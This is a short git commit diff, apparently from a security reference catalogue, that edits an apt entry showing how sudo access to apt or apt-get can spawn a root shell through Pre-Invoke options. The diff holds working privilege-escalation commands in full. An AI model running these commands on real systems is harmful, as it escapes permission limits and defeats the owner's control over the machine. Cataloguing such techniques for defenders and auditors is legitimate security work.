Fix apt sudo shell

This commit is contained in:
Andrea Cardaci 2019-01-21 16:41:17 +01:00
parent 21f760676c
commit bab4250775

View File

@ -16,5 +16,5 @@ functions:
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl
- description: When the shell exits the `update` command is actually executed.
code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
code: sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
---